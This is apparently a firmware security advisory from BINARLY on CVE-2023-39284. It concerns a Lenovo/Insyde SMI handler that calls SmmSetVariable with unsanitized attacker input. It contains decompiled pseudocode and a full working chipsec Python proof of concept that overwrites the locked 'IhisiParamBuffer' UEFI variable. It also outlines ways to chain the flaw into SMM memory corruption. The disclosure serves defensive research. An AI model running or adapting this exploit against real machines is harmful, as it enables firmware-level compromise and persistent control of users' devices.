Header bannerHeader banner

[BRLY-2023-005] Arbitrary calls to SetVariable with unsanitized arguments in SMI handler

March 7, 2024

Summary

BINARLY efiXplorer team has discovered a SMI handler that passes attacker controlled arguments to SmmSetVariable() without any sort of filtering/sanitization.

Vulnerability Information

  • BINARLY internal vulnerability identifier: BRLY-2023-005
  • Lenovo PSIRT assigned CVE identifier: CVE-2023-39284
  • CVSS v3.1: 8.2 High AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected Lenovo firmwares with confirmed impact by Binarly team

Device/Firmware File Name SHA256 (File PE32 section) File GUID
J1CN38WW IhisiServicesSmm 5531a0720cf7b72d99937276df70d7971a137630d5ec8958e1a19f1dee989ff6 87c2106e-8790-459d-bd44-2ef32a68c3f9

Device/FirmwareFile NameSHA256 (File PE32 section)File GUIDJ1CN38WWIhisiServicesSmm5531a0720cf7b72d99937276df70d7971a137630d5ec8958e1a19f1dee989ff687c2106e-8790-459d-bd44-2ef32a68c3f9

Potential impact

An attacker can exploit this vulnerability to arbitrarily invoke SetVariable in System Management Mode (SMM) with attacker-controlled parameters. GetVariable and SetVariable are normally accessible during boot and runtime phases by using the Runtime Services table. However, in this case SetVariable is called from a SMI handler which leads to bypassing different security mechanisms. In particular, SetVariable called from SMM is allowed to overwrite locked variables.

Vulnerability description

The vulnerability exists in child SW SMI handler number 0xEF located at offset 0x828c in the binary. The pseudocode for the function that contains the arbitrary call to SetVarible is shown below:

if ( result >= 0 )
  {
    InputPtr1 = ReadFromRegBuffer(44);
    InputPtr2 = ReadFromRegBuffer(45);
    if ( !PtrIsInsideSpecialBuffer(InputPtr1, 16i64) )
      return 32811i64;
    if ( !PtrIsInsideSpecialBuffer(InputPtr2, 32i64) )
      return 32811i64;
    Data = &InputPtr2->Data;
    if ( !ChecksVariableNamePtr(InputPtr1->VariableName) )
      return 32811i64;
    DataSize = InputPtr2->DataSize;
    if ( InputPtr2->DataSize )
    {
      if ( !PtrIsInsideSpecialBuffer(&InputPtr2->Data, DataSize) )
        return 32811i64;
    }
    VariableName = InputPtr1->VariableName;
    v6 = 0i64;
    if ( *InputPtr1->VariableName )
    {
      do
      {
        VariableName += 2;
        ++v6;
      }
      while ( *VariableName );
    }
    if ( &InputPtr1->VariableName[2 * v6 + 2] <= InputPtr2 || InputPtr1 >= (&InputPtr2->Data + InputPtr2->DataSize) )
    {
      CheckSum = 0;
      for ( i = 0i64; i < DataSize; CheckSum += v9 )
        v9 = *(Data + i++);
      if ( CheckSum + BYTE2(InputPtr2->CheckSum) )
      {
        return 32786i64;
      }
      else
      {
        Attributes = *&InputPtr2->Attributes;
        if ( !Attributes )
        {
          Attributes = 7i64;
          *&InputPtr2->Attributes = 7;
        }
        v11 = 32788i64;
        if ( gEfiSmmVariableProtocol )
        {
          v12 = (gEfiSmmVariableProtocol->SmmSetVariable)(
                  InputPtr1->VariableName,
                  InputPtr1,
                  Attributes,
                  DataSize,
                  Data);
          if ( v12 < 0 )
            return 32788i64;
          return v12;
        }
        return v11;
      }
    }
    else
    {
      return 32811i64;
    }
  }
  return result;

The SMI handler starts by retrieving two pointers to input buffers (InputPtr1 and InputPtr2) and performing a number of security checks, likely to prevent any form of confused deputy attack where a SMI handler is tricked into writing its own SMRAM memory. It then calculate a simple checksum over the variable data, and checks that it matches the checksum provided in the input buffers. Finally, it calls the SmmSetVariable() function by passing arguments that directly derived from the attacker-controlled input buffers (InputPtr1 and InputPtr2).

This makes the functionality of EFI_SMM_VARIABLE_PROTOCOL to be fully exposed to the runtime, which in turn means the variable protection mechanism such as RequestToLock() could be bypassed by a potential attacker.

Steps for exploitation

To exploit this issue, BINARLY efiXplorer team identified a locked variable called "IhisiParamBuffer" (GUID: "92e59835-5f42-4e0b-9a84-47c7810ea806") and tried to overwrite its value. Our team successfully demonstrated that this variable can only be overwritten by using the method described in this advisory. Below is the PoC we developed to test this issue:

import ctypes
import struct

import uuid
import chipsec.chipset
from chipsec.hal.interrupts import Interrupts
from chipsec.hal.uefi import UEFI

cs = chipsec.chipset.cs()
cs.init("ADL", True, True)
uefi = UEFI(cs)
intr = Interrupts(cs)

IHISI_SW_SMI = 0xEF


class IhisiParamStruct(ctypes.LittleEndianStructure):
    _pack_ = 1
    _fields_ = [
        ("Size", ctypes.c_uint32),
        ("Reserved", ctypes.c_uint32),
        ("Param1", ctypes.c_uint64),
        ("Param2", ctypes.c_uint64),
        ("Param3", ctypes.c_uint64),
        ("Param4", ctypes.c_uint64),
        ("Param5", ctypes.c_uint64),
        ("Param6", ctypes.c_uint64),
        ("Param7", ctypes.c_uint64),
        ("Param8", ctypes.c_uint64),
    ]


def get_param_buffer_address():
    param_buffer = uefi.get_EFI_variable(
        "IhisiParamBuffer",
        "92e59835-5f42-4e0b-9a84-47c7810ea806",
    )
    param_buffer_addr = struct.unpack("<Q", param_buffer)[0]
    print(f"{param_buffer_addr = :#x}")
    return param_buffer_addr


PARAM_BUFFER_ADDRESS = get_param_buffer_address()


def ihisi_get_command_buffer():
    command = 0x83
    buffer = IhisiParamStruct()
    buffer.Size = 0x48
    buffer.Param1 = IHISI_SW_SMI | (command << 8)
    buffer.Param2 = 0x2448324F  # $H2O
    buffer.Param3 = 0
    buffer.Param4 = 0xB2  # SoftwareSmiPort
    buffer.Param5 = 0
    buffer.Param6 = 0
    buffer.Param7 = 0
    buffer.Param8 = 0

    # write new buffer
    cs.helper.write_physical_mem(PARAM_BUFFER_ADDRESS, 0x48, bytes(buffer))
    _res = intr.send_SW_SMI(0, IHISI_SW_SMI, 0, 0, 0, 0, 0, 0, 0)

    ihisi_status = struct.unpack(
        "<I", cs.helper.read_physical_mem(PARAM_BUFFER_ADDRESS + 8, 4)
    )[0]
    print(f"Get command buffer status: {buffer.Param1} {ihisi_status}")

    cmd_buffer = struct.unpack(
        "<Q", cs.helper.read_physical_mem(PARAM_BUFFER_ADDRESS + 0x18, 8)
    )[0]
    cmd_buffer_size = struct.unpack(
        "<Q", cs.helper.read_physical_mem(PARAM_BUFFER_ADDRESS + 0x20, 8)
    )[0]

    return cmd_buffer, cmd_buffer_size


def get_checksum(data):
    sum = 0
    for b in data:
        sum = (sum + b) & 0xFF
    return (~sum + 1) & 0xFF


def prepare_target_var_metadata(buffer):
    # pass security check
    cs.helper.write_physical_mem(buffer + 0x1D, 1, struct.pack("<B", 0x10))
    cs.helper.write_physical_mem(buffer, 12, b"$H2O$Var$Tbl")

    # set Attributes
    attributes = 7
    cs.helper.write_physical_mem(buffer + 0x14, 4, struct.pack("<I", attributes))

    # set variable data
    data = uefi.get_EFI_variable(
        "IhisiParamBuffer",
        "92e59835-5f42-4e0b-9a84-47c7810ea806",
    )
    old_buffer = struct.unpack("<Q", data)[0]
    print(f"old buffer: {old_buffer:#x}")
    # new_buffer = old_buffer + 0x1000
    new_buffer = 0x419AAF98 + 0x1000
    data = struct.pack("<Q", new_buffer)
    print(f"new buffer: {new_buffer:#x}")
    cs.helper.write_physical_mem(buffer + 0x20, len(data), data)

    # set DataSize
    data_size = len(data)
    cs.helper.write_physical_mem(buffer + 0x10, 4, struct.pack("<I", data_size))

    # set checksum
    cs.helper.write_physical_mem(
        buffer + 0x1E, 1, struct.pack("<B", get_checksum(data))
    )


def prepare_target_var_buffer(buffer):
    vendor_guid = "92e59835-5f42-4e0b-9a84-47c7810ea806"
    vendor_guid_bytes_le = uuid.UUID(vendor_guid).bytes_le
    cs.helper.write_physical_mem(buffer, 16, vendor_guid_bytes_le)

    variable_name = "IhisiParamBuffer"
    variable_name_utf16_le = variable_name.encode("utf-16le")
    cs.helper.write_physical_mem(
        buffer + 16, len(variable_name_utf16_le), variable_name_utf16_le
    )


def vats_write_test():
    cmd_buffer, cmd_buffer_size = ihisi_get_command_buffer()
    print(f"{cmd_buffer = :#x} (size: {cmd_buffer_size:#x})")

    target_var_metadata = cmd_buffer + 0x1000
    target_var_buffer = cmd_buffer + 0x2000

    # S01Kn_VatsWrite0000 (VatsWrite)
    command = 0x01
    buffer = IhisiParamStruct()
    buffer.Size = 0x48
    buffer.Param1 = IHISI_SW_SMI | (command << 8)
    buffer.Param2 = 0x2448324F  # $H2O
    buffer.Param3 = 0
    buffer.Param4 = 0xB2  # SoftwareSmiPort
    buffer.Param5 = target_var_buffer
    buffer.Param6 = target_var_metadata
    buffer.Param7 = 0
    buffer.Param8 = 0

    prepare_target_var_metadata(target_var_metadata)
    prepare_target_var_buffer(target_var_buffer)

    cs.helper.write_physical_mem(PARAM_BUFFER_ADDRESS, 0x48, bytes(buffer))

    _res = intr.send_SW_SMI(0, IHISI_SW_SMI, 0, 0, 0, 0, 0, 0, 0)
    ihisi_status = struct.unpack(
        "<I", cs.helper.read_physical_mem(PARAM_BUFFER_ADDRESS + 8, 4)
    )[0]
    print(f"VatsWrite status: {buffer.Param1} {ihisi_status}")


if __name__ == "__main__":
    vats_write_test()

Overwriting locked variables does not represent a vulnerability per se. For this reason, the BINARLY efiXplorer team went a step further and identified two possible venues that can be used by attackers to exploit this issue:

  1. The DXE driver PnpSmm installs a SMI handler that reads the variable "IhisiParamBuffer" and uses it as a pointer for a memory write without doing any sanity check
  2. Chain the issue described in this advisory together with the vulnerability disclosed in BRLY-2023-002 to control the stack memory written after a double GetVariable call ("AsfSecureBoot").

How to fix it

A possible way to fix this vulnerability is to close the VatsWrite IHISI service for runtime or to check if a variable is locked before overwriting it.

Disclosure timeline

This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

Disclosure Activity Date (YYYY-mm-dd)
Insyde/Lenovo PSIRT is notified 2023-06-23
Insyde/Lenovo PSIRT assigned CVE number 2023-09-15
Insyde/Lenovo PSIRT provide patch release 2023-10-31
BINARLY public disclosure date 2024-03-07

Acknowledgements

BINARLY efiXplorer team

Tags
Lenovo